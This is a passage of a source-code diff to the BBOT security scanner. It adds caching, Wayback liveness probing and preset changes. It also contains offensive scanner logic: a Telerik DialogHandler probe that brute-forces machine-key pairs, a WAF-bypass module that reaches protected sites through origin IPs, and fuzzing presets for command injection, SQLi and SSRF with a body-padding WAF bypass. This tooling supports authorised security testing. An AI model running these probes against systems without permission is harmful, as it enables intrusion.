if not baseline: + return None + baseline_size = len(baseline.text) + for hash_key in self._hash.prepare_keylist(include_machinekeys=include_machinekeys): + for enc_key in self._enc.prepare_keylist(include_machinekeys=include_machinekeys): + probe = self._build_pbkdf2_probe(hash_key, enc_key) + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": probe}) + if not response: + continue + if abs(len(response.text) - baseline_size) > 10: + self.verbose(f"DialogHandler PBKDF2 key pair matched: hash=[{hash_key}] enc=[{enc_key}]") + return hash_key, enc_key + return None + + def _build_pbkdf2_probe(self, hash_key, enc_key): + plaintext = "EnableAsyncUpload,False,3,True;AllowMultipleSelection,False,3,False" + derived_key, derived_iv = self._enc.telerik_derivekeys(enc_key, "PBKDF2") + ct = self._enc.telerik_encrypt(derived_key, derived_iv, plaintext) + return self._hash.sign_enc_dialog_params(hash_key, ct) + + # ----------------------------------------------------------------------- + # SpellCheckHandler + # ----------------------------------------------------------------------- + + async def _probe_spellcheck(self, base_url, event): + url = f"{base_url}Telerik.Web.UI.SpellCheckHandler.axd" + result = await self.helpers.request(url, timeout=self.scan.http_timeout) + if getattr(result, "status_code", 0) != 500: + return + # False-positive filter: sites that 500 on every unknown .axd. + validate_url = f"{base_url}{self.helpers.rand_string()}.axd" + validate_result = await self.helpers.request(validate_url, timeout=self.scan.http_timeout) + if getattr(validate_result, "status_code", 0) in (0, 500): + return + self.debug("Detected Telerik SpellCheckHandler") + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": "Telerik SpellCheckHandler detected", + "name": "Telerik SpellCheckHandler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik SpellCheckHandler", + ) + + # ----------------------------------------------------------------------- + # ChartImage.axd + # ----------------------------------------------------------------------- + + async def _probe_chartimage(self, base_url, event): + canary = "ChartImage.axd?ImageName=bqYXJAqm315eEd6b%2bY4%2bGqZpe7a1kY0e89gfXli%2bjFw%3d" + result = await self.helpers.request(f"{base_url}{canary}", timeout=self.scan.http_timeout) + if getattr(result, "status_code", 0) != 200: + return + error_probe = "ChartImage.axd?ImageName=" + result_error = await self.helpers.request(f"{base_url}{error_probe}", timeout=self.scan.http_timeout) + if getattr(result_error, "status_code", 0) in (0, 200): + return + await self.emit_event( + { + "host": str(event.host), + "url": f"{base_url}{canary}", + "description": "Telerik ChartImage AXD Handler detected", + "name": "Telerik ChartImage Handler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik ChartImage Handler", + ) + + # ----------------------------------------------------------------------- + # Passive HTTP_RESPONSE carve + # ----------------------------------------------------------------------- + + async def _carve_http_response(self, event): + body = event.body + if not body: + return + if '":{"SerializedParameters":"' in body: + await self.emit_event( + { + "host": str(event.host), + "url": event.url, + "description": "Telerik DialogHandler [SerializedParameters] detected in HTTP response", + "name": "Telerik DialogHandler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik DialogHandler", + ) + elif '"_serializedConfiguration":"' in body: + await self.emit_event( + { + "host": str(event.host), + "url": event.url, + "description": "Telerik AsyncUpload [serializedConfiguration] detected in HTTP response", + "name": "Telerik AsyncUpload", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik AsyncUpload", + ) diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index 162fdacdbc..d68eefa31b 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -14,11 +14,6 @@ class WebhookOutputModule(BaseOutputModule): severities = ["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"] confidences = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"] - # abort module after 10 failed requests (not including retries) - _api_failure_abort_threshold = 10 - # retry each request up to 10 times, respecting the Retry-After header - _default_api_retries = 10 - async def setup(self): self.webhook_url = self.config.get("webhook_url", "") self.min_severity = self.config.get("min_severity", "LOW").strip().upper() @@ -31,10 +26,6 @@ async def setup(self): return False return await super().setup() - @property - def api_retries(self): - return self.config.get("retries", self._default_api_retries) - async def handle_event(self, event): message = self.format_message(event) data = {self.content_key: message} diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index a136ed06eb..0089f5295a 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -2,7 +2,7 @@ from urllib.parse import urlparse from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, VersionStr class trajan(BaseModule): @@ -17,7 +17,7 @@ class trajan(BaseModule): # Configuration options class Config(BaseModuleConfig): - version: str = Field("1.0.0", description="Trajan version to download and use") + version: VersionStr = Field("1.0.0", description="Trajan version to download and use") github_token: str = Field( "", description="GitHub API token for rate-limiting and private repo access", sensitive=True ) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index ee78e2ce41..63509f8716 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -1,7 +1,7 @@ import json from functools import partial from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, VersionStr class trufflehog(BaseModule): @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.97.0", description="trufflehog version") + version: VersionStr = Field("3.99.8", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") @@ -149,6 +149,8 @@ async def execute_trufflehog(self, module, path=None, stdin_data=None): command = [ "trufflehog", "--json", + # without this, overseer re-execs the binary and pays Go package init twice + "--local-dev", "--no-update", ] if self.verified: diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 5b5a33fbb8..060c4e26cf 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -68,9 +68,6 @@ async def setup(self): async def _response_similarity(self, text_a, text_b, normalization_filter=None): """ Compute simhash similarity between two response bodies. - Runs in the CPU thread pool: simhash work is short and the input is - truncated to ~3KB inside compute_simhash, so the process-pool overhead - (pickle + IPC + worker lifecycle) costs more than the work itself. """ kwargs = {} if normalization_filter is not None: diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index fc2a6dc9b9..a30debfc7b 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -16,6 +16,8 @@ class waf_bypass(BaseModule): In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains. Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates. + + The `scan_targets_only` option narrows which protected hosts are attempted (candidate discovery is unaffected). """ watched_events = ["URL"] @@ -36,6 +38,10 @@ class Config(BaseModuleConfig): ge=1, description="Maximum number of concurrent bypass-attempt HTTP checks in finish()", ) + scan_targets_only: bool = Field( + True, + description="Only attempt bypasses against WAF-protected hosts that were explicitly specified as scan targets", + ) meta = { "description": "Detects potential WAF bypasses", @@ -52,6 +58,17 @@ async def setup(self): self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) + # When scan_targets_only is enabled (the default), only hosts named verbatim in the scan's targets/seeds are + # attempted. Strict scope means a target of "evilcorp.com" won't match "www.evilcorp.com". + self.explicit_targets = None + if self.config.get("scan_targets_only", True): + self.explicit_targets = self.helpers.make_target( + *self.scan.target.target.event_seeds, + *self.scan.target.seeds.event_seeds, + strict_scope=True, + ) + self.verbose(f"Restricting bypass attempts to {len(self.explicit_targets)} explicit scan target(s)") + # Keep track of (protected_domain, ip) pairs we have already attempted to bypass self.attempted_bypass_pairs = set() # Keep track of any IPs that came from hosts that are "cloud-ips" @@ -101,6 +118,11 @@ async def handle_event(self, event): self.protected_domains[domain] = event self.debug(f"Found {provider_name}-protected domain: {domain}") + # ineligible hosts still count towards candidate discovery, they just aren't fingerprinted or attempted + if not self.bypass_eligible(domain): + self.debug(f"Skipping {domain}: not an explicit scan target") + return + response = await self.get_url_content(url) if not response: self.debug(f"Failed to get response from protected URL {url}") @@ -111,7 +133,7 @@ async def handle_event(self, event): return # Store a "simhash" (fuzzy hash) of the response data for later comparison - simhash = await self.helpers.run_in_executor_mp(compute_simhash, response.text) + simhash = await self.helpers.run_in_executor_cpu(compute_simhash, response.text) self.content_fingerprints[url] = { "simhash": simhash, @@ -119,6 +141,10 @@ async def handle_event(self, event): } self.debug(f"Stored simhash of response from {url} (content length: {len(response.text)})") + def bypass_eligible(self, host): + """Whether a WAF-protected host is allowed to be attempted (all of them if scan_targets_only is disabled)""" + return self.explicit_targets is None or host in self.explicit_targets + async def get_url_content(self, url, ip=None): """Helper function to fetch content from a URL, optionally through specific IP""" try: @@ -157,7 +183,7 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") return None - bypass_simhash = await self.helpers.run_in_executor_mp(compute_simhash, bypass_response.text or "") + bypass_simhash = await self.helpers.run_in_executor_cpu(compute_simhash, bypass_response.text or "") if original_response["http_code"] != bypass_response.status_code: self.debug(f"Ignoring code difference {original_response['http_code']} != {bypass_response.status_code}") @@ -174,6 +200,10 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): async def finish(self): self.verbose(f"Found {len(self.protected_domains)} Protected Domains") + eligible_domains = {d: e for d, e in self.protected_domains.items() if self.bypass_eligible(d)} + if self.explicit_targets is not None: + self.verbose(f"{len(eligible_domains)} of them are explicit scan targets and will be attempted") + confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] ip_bypass_candidates = {} # {ip: domain} waf_ips = set() @@ -239,7 +269,7 @@ async def finish(self): coros = [] new_pairs_count = 0 - for protected_domain, source_event in self.protected_domains.items(): + for protected_domain, source_event in eligible_domains.items(): for ip, src in ip_bypass_candidates.items(): combo = (protected_domain, ip) if combo in self.attempted_bypass_pairs: diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index e58f6d9a37..730fe14d18 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -5,9 +5,11 @@ from urllib.parse import parse_qs, urlparse, urlunparse import orjson +from cachetools import LRUCache from bbot.core.helpers.misc import get_file_extension from bbot.core.helpers.validators import clean_url +from bbot.core.helpers.web.response_event import response_to_event_dict from bbot.modules.templates.subdomain_enum import subdomain_enum from bbot.core.config.models import BaseModuleConfig, Field @@ -158,6 +160,54 @@ def _filter_urls_sync(self, urls): kept = [url for idx, url in enumerate(candidates) if idx not in junk_set] return kept, len(junk_set) + # HTTP liveness probing for hosts found in CDX results. A dead host's URLs are dropped + # instead of being emitted for the rest of the scan to chase. + # 40K (scheme, netloc) -> bool entries measures out to roughly 10MB. + _liveness_cache_size = 40000 + _liveness_probe_threads = 25 + # one retry, so a single dropped packet doesn't condemn a live host + _liveness_probe_retries = 1 + + async def _live_netlocs(self, keys): + """Return the subset of (scheme, netloc) keys that answer HTTP. + + Any response counts as alive -- only connect failures and timeouts (after retries) + mark a host dead. Verdicts are cached for the rest of the scan. + + Probing is skipped entirely when a proxy is configured, since the proxy answers on the + target's behalf: an unreachable upstream comes back as a proxy 502, which is + indistinguishable from a real one. With no trustworthy verdict available we emit every + host's URLs rather than guess. + """ + if not self._liveness_probing: + return set(keys) + live = set() + probes = [] + probe_kwargs = { + "method": "HEAD", + "follow_redirects": False, + "retries": self._liveness_probe_retries, + "timeout": self.http_timeout, + } + for key in keys: + cached = self._liveness_cache.get(key) + if cached is not None: + if cached: + live.add(key) + continue + scheme, netloc = key + probes.append((f"{scheme}://{netloc}/", probe_kwargs, key)) + if probes: + self.verbose(f"Probing {len(probes):,} hosts for HTTP liveness") + async for _, response, key in self.helpers.request_batch_stream( + probes, threads=self._liveness_probe_threads + ): + is_live = response is not None + self._liveness_cache[key] = is_live + if is_live: + live.add(key) + return live + def _is_interesting_file(self, url): ext = get_file_extension(url) if ext and ext.lower() in self.interesting_extensions: @@ -192,6 +242,10 @@ async def setup(self): # (multiple request URLs can redirect to the same archived snapshot) # 32M bits (~4MB) supports ~400K entries with negligible false-positive rate self._archive_bloom = self.helpers.bloom_filter(32000000) + self._liveness_cache = LRUCache(maxsize=self._liveness_cache_size) + self._liveness_probing = not self.scan.http_proxy + if self.urls and not self._liveness_probing: + self.verbose("Emitting wayback URLs without liveness probing because an HTTP proxy is configured") self._junk_url_rules = self.helpers.yara.compile(source="\n".join(self._junk_url_yara_rules.values())) return await super().setup() @@ -396,7 +450,7 @@ async def _fetch_cdx(self, query): # parse JSON + extract URLs off the event loop # (CDX responses can contain 100k+ entries) try: - urls = await self.helpers.run_in_executor_cpu(_parse_cdx_response, r.text) + urls = await self.helpers.run_in_executor_mp(_parse_cdx_response, r.text) except Exception: urls = None if urls is None: @@ -477,7 +531,7 @@ async def query(self, query): collapsed_urls = 0 start_time = datetime.now() # consolidate URLs to cut down on garbage data (CPU-intensive, runs off the event loop) - parsed_urls = await self.helpers.run_in_executor_cpu( + parsed_urls = await self.helpers.run_in_executor_mp( self.helpers.validators.collapse_urls, urls, threshold=self.garbage_threshold, @@ -490,14 +544,24 @@ async def query(self, query): https_key = parsed_url._replace(scheme="https").geturl() if https_key not in url_dedup or parsed_url.scheme == "https": url_dedup[https_key] = parsed_url + # only emit URLs for hosts that actually answer HTTP -- a dead host's URLs + # are pure cost for every downstream module + live_netlocs = await self._live_netlocs({(p.scheme, p.netloc) for p in url_dedup.values()}) + dead_urls = 0 for parsed_url in url_dedup.values(): url_str = parsed_url.geturl() + # dead hosts are exactly what the archive is for, so they still get cached for finish() + if self.archive and url_str in archive_urls: + self._archive_cache[url_str] = archive_urls[url_str] + if (parsed_url.scheme, parsed_url.netloc) not in live_netlocs: + dead_urls += 1 + continue results.add((url_str, "URL_UNVERIFIED")) if self.parameters and url_str in raw_url_params: base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, parsed_url.path, "", "", "")) self._parameter_cache[url_str] = (raw_url_params[url_str], base_url) - if self.archive and url_str in archive_urls: - self._archive_cache[url_str] = archive_urls[url_str] + if dead_urls: + self.verbose(f"Dropped {dead_urls:,} URLs belonging to hosts that don't answer HTTP") else: for parsed_url in parsed_urls: collapsed_urls += 1 @@ -562,12 +626,16 @@ async def finish(self): skip_extensions.update(e.lower() for e in self.scan.config.get("url_extension_special", [])) # build URL list and mapping back to metadata + # entries are consumed here: emitting events re-triggers the finish phase, and + # anything left in the cache would be fetched again on every re-entry url_metadata = {} for cleaned_url, value in list(self._archive_cache.items()): if not isinstance(value, tuple): + # unpaired entries stay put; a later parent event can still pair them self.debug(f"Skipping unpaired archive entry: {cleaned_url}") continue raw_url, parent_event = value + del self._archive_cache[cleaned_url] ext = get_file_extension(cleaned_url) if ext and ext in skip_extensions: self.debug(f"Skipping archive fetch for {raw_url} (extension: .{ext})") @@ -730,7 +798,7 @@ async def _process_archive_response(self, r, raw_url, parent_event): return False self._archive_bloom.add(response_url) - j = self.helpers.response_to_json(r) + j = response_to_event_dict(r, raw_url) if not j: self.verbose(f"Failed to parse archive response for {raw_url}") return False @@ -764,11 +832,12 @@ async def _process_archive_response(self, r, raw_url, parent_event): j["url"] = urlunparse((scheme, netloc, parsed_original.path or "/", "", parsed_original.query, "")) # store the archive URL for provenance — downstream modules can check this field j["archive_url"] = str(r.url) - # override host/port/scheme/path to match the original URL (response_to_json set them from archive.org) j["host"] = hostname j["port"] = port j["scheme"] = scheme j["path"] = parsed_original.path or "/" + # cert_info is archive.org's certificate, not the original target's + j.pop("cert_info", None) http_response = self.make_event( j, diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 441848f465..55454f2022 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -1,6 +1,8 @@ import random import string +import asyncio from typing import Union +from collections import OrderedDict import blasthttp @@ -45,6 +47,15 @@ class Config(BaseModuleConfig): in_scope_only = True _module_threads = 4 + # bounds the per-shape baseline cache; each entry pins an HttpCompare and its baseline snapshot + _baseline_cache_size = 1000 + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + # keyed by (url, prefix, suffix, ext); subclasses that override setup() inherit this + self._baseline_cache = OrderedDict() + self._baseline_locks = OrderedDict() + async def setup_deps(self): self.wordlist = await self.helpers.wordlist(self.config.get("wordlist")) return True @@ -128,16 +139,28 @@ def _build_batch_headers(self): # Host-level abort reasons that apply to ALL extensions, not just the one that triggered them. HOST_ABORT_REASONS = {"WAF_BLOCK_PAGE", "CONNECTIVITY_ISSUES", "BASELINE_CHANGED_CODES", "RECEIVED_429"} - async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): - if exts is None: - exts = [""] - filters = {} - host_abort = None - - for ext in exts: - if host_abort is not None: - filters[ext] = host_abort - continue + async def _baseline_for(self, url, prefix, suffix, ext): + """Establish (or reuse) the baseline for one fuzz shape. + + A baseline characterizes the response to a nonexistent path of a given + shape, so it depends only on (url, prefix, suffix, ext). Re-probing the + same shape costs two requests plus the 0.5s inter-sample sleep and + yields the same filter, so shapes are memoized per module instance and + raced callers are collapsed onto one probe. + """ + key = (url, prefix, suffix, ext) + lock = self._baseline_locks.get(key) + if lock is None: + lock = self._baseline_locks[key] = asyncio.Lock() + while len(self._baseline_locks) > self._baseline_cache_size: + self._baseline_locks.popitem(last=False) + + async with lock: + cached = self._baseline_cache.get(key) + if cached is not None: + self._baseline_cache.move_to_end(key) + self.debug(f"reusing baseline for URL [{url}] with ext [{ext}]") + return cached, None self.debug(f"running baseline for URL [{url}] with ext [{ext}]") @@ -157,33 +180,44 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): await compare._baseline() except HttpCompareError as e: self.warning(f"Could not establish baseline for URL [{url}] ext [{ext}]: {e}") - abort = {"abort": True, "reason": "CONNECTIVITY_ISSUES"} - filters[ext] = abort - host_abort = abort - continue + return {"abort": True, "reason": "CONNECTIVITY_ISSUES"}, "CONNECTIVITY_ISSUES" baseline_status = compare.baseline.status_code if await self.helpers.yara.match(self.waf_yara_rules, compare.baseline.content): self.warning(f"Baseline for URL [{url}] ext [{ext}] returned WAF block page, aborting.") - abort = {"abort": True, "reason": "WAF_BLOCK_PAGE"} - filters[ext] = abort - host_abort = abort - continue + return {"abort": True, "reason": "WAF_BLOCK_PAGE"}, "WAF_BLOCK_PAGE" if baseline_status == 429: self.warning( f"Received 429 (Too Many Requests) for URL [{url}]. A WAF or rate limiter is blocking requests, aborting." ) - abort = {"abort": True, "reason": "RECEIVED_429"} - filters[ext] = abort - host_abort = abort - continue + return {"abort": True, "reason": "RECEIVED_429"}, "RECEIVED_429" if baseline_status == 403: self.warning("All baseline requests received 403. A WAF may be actively blocking traffic.") - filters[ext] = {"compare": compare} + result = {"compare": compare} + self._baseline_cache[key] = result + while len(self._baseline_cache) > self._baseline_cache_size: + self._baseline_cache.popitem(last=False) + return result, None + + async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): + if exts is None: + exts = [""] + filters = {} + host_abort = None + + for ext in exts: + if host_abort is not None: + filters[ext] = host_abort + continue + + result, abort_reason = await self._baseline_for(url, prefix, suffix, ext) + filters[ext] = result + if abort_reason is not None: + host_abort = result return filters diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index 0883c22d3c..9bd52367a2 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -47,6 +47,8 @@ class Config(BaseModuleConfig): supplementary_words = ["html", "ajax", "xml", "json", "api"] + prefix_index_length = 2 + async def generate_templist(self, hint, shortname_type): words = await self.helpers.run_in_executor_cpu(self._generate_templist_sync, hint, shortname_type) return words, len(words) @@ -103,13 +105,32 @@ async def setup(self): self.rate = self.config.get("rate", 0) or None self.concurrency = 50 + prefix_index_length = self.prefix_index_length + class MinimalWordPredictor: + # class-level defaults: unpickling restores state without calling __init__ + prefix_index = {} + prefix_index_length = 0 + def __init__(self): self.word_frequencies = {} + self.prefix_index = {} + self.prefix_index_length = 0 + + def build_prefix_index(self, prefix_length): + index = {} + for word in self.word_frequencies: + index.setdefault(word[:prefix_length], []).append(word) + self.prefix_index = index + self.prefix_index_length = prefix_length def predict(self, prefix, top_n): prefix = prefix.lower() - matches = [(word, freq) for word, freq in self.word_frequencies.items() if word.startswith(prefix)] + if self.prefix_index and len(prefix) >= self.prefix_index_length: + candidates = self.prefix_index.get(prefix[: self.prefix_index_length], ()) + matches = [(word, self.word_frequencies[word]) for word in candidates if word.startswith(prefix)] + else: + matches = [(word, freq) for word, freq in self.word_frequencies.items() if word.startswith(prefix)] if not matches: return [] @@ -146,6 +167,11 @@ def find_class(self, module, name): unpickler = CustomUnpickler(f) self.directory_predictor = unpickler.load() + # built once here, not lazily: predict() runs concurrently in the cpu + # executor, and a lazy build would be repeated by every racing caller + for predictor in (self.endpoint_predictor, self.directory_predictor): + await self.helpers.run_in_executor_cpu(predictor.build_prefix_index, prefix_index_length) + self.subword_list = [] if self.find_subwords: self.debug("Acquiring shortname subword list") diff --git a/bbot/presets/baddns-heavy.yml b/bbot/presets/baddns-heavy.yml index bb683a9d0a..5e23fb39d5 100644 --- a/bbot/presets/baddns-heavy.yml +++ b/bbot/presets/baddns-heavy.yml @@ -10,7 +10,7 @@ modules: config: modules: baddns: - enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD, DELEGATION] min_severity: INFO min_confidence: UNKNOWN baddns_zone: diff --git a/bbot/presets/baddns.yml b/bbot/presets/baddns.yml index d6e0cf76aa..723c7582e7 100644 --- a/bbot/presets/baddns.yml +++ b/bbot/presets/baddns.yml @@ -6,6 +6,6 @@ modules: config: modules: baddns: - enabled_submodules: [CNAME, MX, TXT] + enabled_submodules: [CNAME, MX, TXT, DELEGATION] min_severity: LOW min_confidence: MEDIUM diff --git a/bbot/presets/nuclei/nuclei-budget.yml b/bbot/presets/nuclei/nuclei-budget.yml index a290a11215..f6384d4602 100644 --- a/bbot/presets/nuclei/nuclei-budget.yml +++ b/bbot/presets/nuclei/nuclei-budget.yml @@ -3,7 +3,6 @@ description: Run nuclei scans against all discovered targets, using budget mode modules: - http - nuclei - - portfilter config: modules: diff --git a/bbot/presets/nuclei/nuclei-heavy.yml b/bbot/presets/nuclei/nuclei-heavy.yml index 65fa6fc1de..51568d6e67 100644 --- a/bbot/presets/nuclei/nuclei-heavy.yml +++ b/bbot/presets/nuclei/nuclei-heavy.yml @@ -5,7 +5,6 @@ modules: - nuclei - robots - urlscan - - portfilter - wayback config: diff --git a/bbot/presets/nuclei/nuclei-new.yml b/bbot/presets/nuclei/nuclei-new.yml new file mode 100644 index 0000000000..5dcfc55256 --- /dev/null +++ b/bbot/presets/nuclei/nuclei-new.yml @@ -0,0 +1,17 @@ +description: Run nuclei scans against all discovered targets, using only the templates added in the latest nuclei-templates release + +modules: + - http + - nuclei + +config: + modules: + nuclei: + new_templates: true + directory_only: true # Do not run nuclei on individual non-directory URLs + +conditions: + - | + {% if config.web.spider_distance != 0 %} + {{ warn("Running nuclei with spider enabled is generally not recommended. Consider removing 'spider' preset.") }} + {% endif %} diff --git a/bbot/presets/nuclei/nuclei-recommended.yml b/bbot/presets/nuclei/nuclei-recommended.yml new file mode 100644 index 0000000000..ddac86394c --- /dev/null +++ b/bbot/presets/nuclei/nuclei-recommended.yml @@ -0,0 +1,17 @@ +description: Run nuclei scans against all discovered targets, using ProjectDiscovery's curated "recommended" template profile + +modules: + - http + - nuclei + +config: + modules: + nuclei: + profile: recommended + directory_only: true # Do not run nuclei on individual non-directory URLs + +conditions: + - | + {% if config.web.spider_distance != 0 %} + {{ warn("Running nuclei with spider enabled is generally not recommended. Consider removing 'spider' preset.") }} + {% endif %} diff --git a/bbot/presets/nuclei/nuclei-technology.yml b/bbot/presets/nuclei/nuclei-technology.yml index 9cb289e539..962775e1ca 100644 --- a/bbot/presets/nuclei/nuclei-technology.yml +++ b/bbot/presets/nuclei/nuclei-technology.yml @@ -3,7 +3,6 @@ description: Run nuclei scans against all discovered targets, running templates modules: - http - nuclei - - portfilter config: modules: diff --git a/bbot/presets/nuclei/nuclei.yml b/bbot/presets/nuclei/nuclei.yml index fc1e34a4b3..d2abff7fe2 100644 --- a/bbot/presets/nuclei/nuclei.yml +++ b/bbot/presets/nuclei/nuclei.yml @@ -3,7 +3,6 @@ description: Run nuclei scans against all discovered targets modules: - http - nuclei - - portfilter config: modules: diff --git a/bbot/presets/tech-detect.yml b/bbot/presets/tech-detect.yml index aebd2781a0..96b88569e9 100644 --- a/bbot/presets/tech-detect.yml +++ b/bbot/presets/tech-detect.yml @@ -1,8 +1,9 @@ -description: Detect technologies via Nuclei, and FingerprintX +description: Detect technologies via Nuclei, FingerprintX, and favicon hashes modules: - nuclei - fingerprintx + - favicon config: modules: diff --git a/bbot/presets/web/dotnet-audit.yml b/bbot/presets/web/dotnet-audit.yml index 2cf50db9d3..e246428626 100644 --- a/bbot/presets/web/dotnet-audit.yml +++ b/bbot/presets/web/dotnet-audit.yml @@ -22,5 +22,5 @@ config: webbrute_shortnames: find_subwords: True telerik: - exploit_RAU_crypto: True + rau_confirm_version: True # Identify the exact Telerik version by uploading a benign 1-byte file include_subdirs: True # Run against every directory, not the default first received URL per-host diff --git a/bbot/presets/web/js-audit.yml b/bbot/presets/web/js-audit.yml index a408f40786..325f0597bc 100644 --- a/bbot/presets/web/js-audit.yml +++ b/bbot/presets/web/js-audit.yml @@ -8,6 +8,7 @@ modules: - retirejs - robots - wayback + - js_unpacker config: modules: diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index 1c209e2942..64ab021239 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -3,7 +3,6 @@ description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No modules: - http - lightfuzz - - portfilter config: url_querystring_remove: False # don't strip off the querystring (BBOT normally does this; but lightfuzz needs it) @@ -12,7 +11,7 @@ config: lightfuzz: enabled_submodules: [path,sqli,xss] # only look for the most common vulnerabilities disable_post: True # don't send POST requests (less aggressive) - avoid_wafs: True + avoid_wafs: always conditions: - | diff --git a/bbot/presets/web/lightfuzz-max.yml b/bbot/presets/web/lightfuzz-max.yml index 7906f3bb71..9f93a438d0 100644 --- a/bbot/presets/web/lightfuzz-max.yml +++ b/bbot/presets/web/lightfuzz-max.yml @@ -10,7 +10,7 @@ config: lightfuzz: force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] - avoid_wafs: False + avoid_wafs: never excavate: speculate_params: True # speculate potential parameters extracted from JSON/XML web responses wayback: diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index c3bf35fcdb..25a4e970df 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -1,19 +1,20 @@ -description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." +description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form)." modules: - http - lightfuzz + - nowafpls - paramminer_getparams - reflected_parameters - - portfilter - + config: url_querystring_remove: False url_querystring_collapse: False modules: lightfuzz: enabled_submodules: [xss] - disable_post: True + try_get_as_post: True + avoid_wafs: try_bypasses conditions: - | diff --git a/bbot/presets/web/lightfuzz.yml b/bbot/presets/web/lightfuzz.yml index 49c4e16567..3ae97c8c75 100644 --- a/bbot/presets/web/lightfuzz.yml +++ b/bbot/presets/web/lightfuzz.yml @@ -6,10 +6,12 @@ include: modules: - badsecrets - hunt + - nowafpls - reflected_parameters - + config: modules: lightfuzz: enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] try_post_as_get: True + avoid_wafs: try_bypasses diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index b38ed07396..c658b11d6e 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -2,6 +2,7 @@ from contextlib import suppress from radixtarget import host_size_key +from bbot.core.helpers.url import max_path_param_repeats from bbot.modules.base import BaseInterceptModule @@ -104,6 +105,17 @@ async def handle_event(self, event, **kwargs): ) event.add_tag("blacklisted") + # reject degenerate URL paths, which servers generate in unbounded numbers + parsed_url = getattr(event, "parsed_url", None) + if parsed_url is not None and self.scan.url_max_path_param_repeats > 0: + repeats = max_path_param_repeats(parsed_url) + if repeats >= self.scan.url_max_path_param_repeats: + self.debug( + f"Blacklisting {event} because its path repeats a parameter {repeats:,} times " + f"(url_max_path_param_repeats={self.scan.url_max_path_param_repeats:,})" + ) + event.add_tag("blacklisted") + # main scan blacklist host_filterable = getattr(event, "host_filterable", None) event_blacklisted = False @@ -198,6 +210,19 @@ async def handle_event(self, event, **kwargs): abort_if = kwargs.pop("abort_if", None) on_success_callback = kwargs.pop("on_success_callback", None) + # drop open ports and URLs on CDN/WAF hosts, unless the port is allowed or was explicitly targeted + if ( + self.scan.cdn_port_filter + and event.type in ("OPEN_TCP_PORT", "URL_UNVERIFIED", "URL") 